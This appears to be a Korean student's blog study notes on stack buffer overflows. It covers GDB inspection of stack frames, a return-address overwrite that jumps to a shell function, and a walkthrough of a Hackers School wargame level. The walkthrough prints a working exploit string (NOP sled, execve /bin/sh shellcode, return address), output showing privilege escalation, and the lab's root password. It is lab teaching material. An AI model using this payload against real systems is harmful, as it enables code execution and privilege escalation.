파이썬 (인터렉티브 쉘 = 대화형 쉘 = 명령어를 입력하면 시스템이 그 결과를 즉시 반환하는 환경)
(python -c 'print("A"*16 + "\xf0\x84\x04\x08")'; cat) | ./bof1
print("A"*16 + "\xf0\x84\x04\x08")
=> A를 16개 출력하고, 목표 주소를 출력 (주소는 리틀엔디안 방식 때문에 거꾸로 뒤집어서 배열)
# python3 --help
usage: python3 [option] ... [-c cmd | -m mod | file | -] [arg] ...
Options (and corresponding environment variables):
...
-c cmd : program passed in as string (terminates option list)
python -c ''
=> ' ' 안의 파이썬 코드를 실행한다
; (세미콜론)
=> 여러 명령어를 한번에 실행하기 위해 사용
cat
=> 파일 생성, 입력(0) 한대로 출력(1)한다
| (파이프)
=> 프로세스끼리 통신. 보통 왼쪽의 데이터를 오른쪽으로 전달, 연결한다.
( 0 -> /dev/pts/0, 1 -> pipe:[12345], 2 -> /dev/pts/0 ... )
실습) GDB로 실행중인 프로세스 디버깅하기
터미널 A) 프로세스 실행 (입력이 필요한 프로그램. gcc 컴파일시 -g 옵션 필요)
터미널 B) 실행한 프로세스 검색
ps aux로 검색하고 grep으로 필터링하여 1336 번호로 gdb를 실행시킨다
where 명령어를 통해 bof1.c의 어느 부분에서 중단되었는지 (입력하지 않고 놔두었으므로) 알 수 있다
( 18라인 : scanf("%s", cmd); )
n 을 입력해도 scanf 값이 입력되지 않아 멈춰있는데,
A 터미널에서 값을 입력하면 B 터미널에 (gdb) 입력패널이 돌아오면서 진행가능해진다
(gdb) n
Single stepping until exit from function __kernel_vsyscall,
which has no line number information.
0xf7eef953 in __read_nocancel () from /lib/libc.so.6
(gdb) n
Single stepping until exit from function __read_nocancel,
which has no line number information.
0xf7e786cb in __GI__IO_file_underflow () from /lib/libc.so.6
(gdb) n
Single stepping until exit from function __GI__IO_file_underflow,
which has no line number information.
0xf7e7986c in __GI__IO_default_uflow () from /lib/libc.so.6
(gdb) n
Single stepping until exit from function __GI__IO_default_uflow,
which has no line number information.
0xf7e79579 in __uflow () from /lib/libc.so.6
(gdb) n
Single stepping until exit from function __uflow,
which has no line number information.
0xf7e5b4b8 in __GI__IO_vfscanf () from /lib/libc.so.6
...
하다보면 main 함수에 도달함.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x0804849d <+0>: push ebp
0x0804849e <+1>: mov ebp,esp
0x080484a0 <+3>: sub esp,0x14
0x080484a3 <+6>: mov DWORD PTR [esp+0x4],0x80484f0
0x080484ab <+14>: mov DWORD PTR [esp],0x80485a4
0x080484b2 <+21>: call 0x8048350 <printf@plt>
0x080484b7 <+26>: mov DWORD PTR [esp],0x80485c1
0x080484be <+33>: call 0x8048350 <printf@plt>
0x080484c3 <+38>: lea eax,[ebp-0xc]
0x080484c6 <+41>: mov DWORD PTR [esp+0x4],eax
0x080484ca <+45>: mov DWORD PTR [esp],0x80485d1
0x080484d1 <+52>: call 0x8048380 <__isoc99_scanf@plt>
=> 0x080484d6 <+57>: lea eax,[ebp-0xc]
0x080484d9 <+60>: mov DWORD PTR [esp+0x4],eax
0x080484dd <+64>: mov DWORD PTR [esp],0x80485d4
0x080484e4 <+71>: call 0x8048350 <printf@plt>
0x080484e9 <+76>: mov eax,0x0
0x080484ee <+81>: leave
0x080484ef <+82>: ret
End of assembler dump.
현재위치 확인
(gdb) i r ebp esp
ebp 0xffffd658 0xffffd658
esp 0xffffd644 0xffffd644
(gdb) x/16xw $esp
0xffffd644: 0x080485d1 0xffffd64c 0x44434241 0x48474645
0xffffd654: 0x00004a49 0x00000000 0xf7e1e2d3 0x00000001
ebp ret 복귀주소
0xffffd664: 0xffffd6f4 0xffffd6fc 0xf7fd86b0 0x00000001
0xffffd674: 0x00000001 0x00000000 0x0804a014 0x0804823c
(gdb) x/s 0xffffd64c
0xffffd64c: "ABCDEFGHIJ"
(gdb) x/s 0xffffd650
0xffffd650: "EFGHIJ"
(gdb) x/s 0xffffd654
0xffffd654: "IJ"
(gdb) x/s 0xffffd658
0xffffd658: ""
(gdb) p 변수
$1 = "ABCDEFGHIJ\000"
(gdb) p &변수
$2 = (char (*)[12]) 0xffffd64c
B 터미널에서 c로 전부 진행시키면 A 터미널도 실행이 끝나 쉘로 돌아온다
비정상 입력 (A 13개)
(gdb) i r ebp esp
ebp 0xffffd658 0xffffd658
esp 0xffffd644 0xffffd644
(gdb) x/16xw $esp
0xffffd644: 0x080485d1 0xffffd64c 0x41414141 0x41414141
0xffffd654: 0x41414141 0x00000041 0xf7e1e2d3 0x00000001
└ 0xffffd658 ebp 자리인데 입력값이 넘쳐 침범당함
0xffffd664: 0xffffd6f4 0xffffd6fc 0xf7fd86b0 0x00000001
0xffffd674: 0x00000001 0x00000000 0x0804a014 0x0804823c
비정상 입력 2 (A 17개)
(gdb) x/16xw $esp
0xffffd644: 0x080485d1 0xffffd64c 0x41414141 0x41414141
0xffffd654: 0x41414141 0x41414141 0xf7e10041 0x00000001
└ 0xffffd660 리턴주소 자리가 침범당함
0xffffd664: 0xffffd6f4 0xffffd6fc 0xf7fd86b0 0x00000001
0xffffd674: 0x00000001 0x00000000 0x0804a014 0x0804823c
(gdb) n 반복
Program received signal SIGSEGV, Segmentation fault.
=> ebp 자리까지는 침범당해도 에러가 나지 않지만
ebp 뒤쪽의 복귀주소까지 침범당하면 Segmentation fault 메시지 오류가 뜬다
C언어의 매크로
#ifdef 매크로명
소스코드
#endif
매크로를 사용하는 컴파일 형식 : gcc에 -D매크로명 필요
# (python -c 'print("A"*16 + "\x2c\x85\x04\x08")'; cat) | ./bof1
주소 : 0x804852c
=> 파이썬을 이용해 bin/sh 실행코드 주소를 함께 입력
(gdb) x/8xw $esp
0xffffd644: 0x00000014 0xffffd64c 0x41414141 0x41414141
0xffffd654: 0x41414141 0x41414141 0x0804852c 0x00000000
=> 복귀주소 자리에 bin/sh 실행코드 주소가 들어가있다
(gdb) bt
#0 myshell () at bof1.c:34
#1 0x00000000 in ?? ()
=> 메인이 종료된 후 bin/sh 실행코드가 들어있는 myshell 함수로 이동되었음
BOF 원정대 The Lord of the BOF
- 해커스쿨에서 나온 워게임으로 시스템 해킹을 실습할 수 있음
- BOF : 프로그램의 버그를 이용해 메모리 버퍼를 넘치게 하여 문제를 발생시키고 시스템을 공략
- level1 사용자 id gate / pw gate
- putty로 접속시 23 port telnet으로 설정
- 낮은 버전이어서 /etc/passwd에서 %s/bash/bash2로 변경해주었음
( 관리자는 id: root, pw: hackerschoolbof )
(gdb) disas main
Dump of assembler code for function main:
0x8048430 <main>: push %ebp
0x8048431 <main+1>: mov %esp,%ebp
0x8048433 <main+3>: sub $0x100,%esp
0x8048439 <main+9>: cmpl $0x1,0x8(%ebp)
0x804843d <main+13>: jg 0x8048456 <main+38>
0x804843f <main+15>: push $0x80484e0
0x8048444 <main+20>: call 0x8048350 <printf>
0x8048449 <main+25>: add $0x4,%esp
0x804844c <main+28>: push $0x0
0x804844e <main+30>: call 0x8048360 <exit>
0x8048453 <main+35>: add $0x4,%esp
0x8048456 <main+38>: mov 0xc(%ebp),%eax
0x8048459 <main+41>: add $0x4,%eax
0x804845c <main+44>: mov (%eax),%edx
0x804845e <main+46>: push %edx
0x804845f <main+47>: lea 0xffffff00(%ebp),%eax
0x8048465 <main+53>: push %eax
0x8048466 <main+54>: call 0x8048370 <strcpy>
0x804846b <main+59>: add $0x8,%esp
0x804846e <main+62>: lea 0xffffff00(%ebp),%eax
0x8048474 <main+68>: push %eax
0x8048475 <main+69>: push $0x80484ec
0x804847a <main+74>: call 0x8048350 <printf>
0x804847f <main+79>: add $0x8,%esp
0x8048482 <main+82>: leave
0x8048483 <main+83>: ret
0x8048484 <main+84>: nop
---Type <return> to continue, or q <return> to quit---
0x8048485 <main+85>: nop
0x8048486 <main+86>: nop
0x8048487 <main+87>: nop
0x8048488 <main+88>: nop
0x8048489 <main+89>: nop
0x804848a <main+90>: nop
0x804848b <main+91>: nop
0x804848c <main+92>: nop
0x804848d <main+93>: nop
0x804848e <main+94>: nop
0x804848f <main+95>: nop
End of assembler dump.
(gdb) i registers $ebp
ebp 0x414141 4276545
리턴주소를 확인
(gdb) x/128xw $esp
0xbffff928: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff938: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff948: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff958: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff968: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff978: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff988: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff998: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9a8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9b8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9c8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9d8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9e8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9f8: 0xc0319090 0x2f2f6850 0x2f686873 0x896e6962
0xbffffa08: 0x895350e3 0x0bb099e1 0x909080cd 0x90909090
0xbffffa18: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa28: 0x90909090 0xbffff958 0x00000000 0xbffffa74
$(python -c 'print "A"*259')
[gate@localhost gate]$ ./gremlin $(python -c 'print "\x90"*210 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*26 + "\x58\xf9\xff\xbf"')
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒ᙰ
̀▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒X▒▒▒
bash$ id
uid=500(gate) gid=500(gate) euid=501(gremlin) egid=501(gremlin) groups=500(gate)
bash$
=> 다음단계인 501번 gremlin으로 권한상승이 된 상태
bash$ my-pass
euid = 501
비 밀 번 호
'정보보안' 카테고리의 다른 글
eggshell 추후 분석 (0) | 2024.06.22 |
---|---|
정보보안3 6차시 (0) | 2024.06.16 |
버퍼오버플로우 복습 (0) | 2024.06.11 |
정보보안3 4차시 (0) | 2024.06.09 |
정보보안3 3차시 (0) | 2024.06.08 |